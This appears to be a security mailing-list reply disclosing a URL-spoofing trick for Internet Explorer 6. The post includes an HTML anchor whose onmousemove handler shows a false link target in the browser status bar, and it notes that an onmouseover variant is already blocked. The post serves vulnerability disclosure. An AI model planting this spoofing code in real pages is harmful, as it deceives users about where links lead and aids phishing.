Re: New URL spoofing bug in Microsoft Internet Explorer

[q q <systemcracker () gmail com>]

I thought this was obvious, but having seen the amount of discussion,
here's another URL spoofer:

<a href="http://www.google.com";
onmousemove="window.status='http://www.msn.com';";
onmouseout="window.status='Done.';">Visit Msn!</a>

note that 

<a href="http://www.google.com";
onmouseover="window.status='http://www.msn.com';";
onmouseout="window.status='Done.';">Visit Msn!</a>

won't work - it seems MS have already half fixed this....

(tested on MSIE 6.0, winXP)
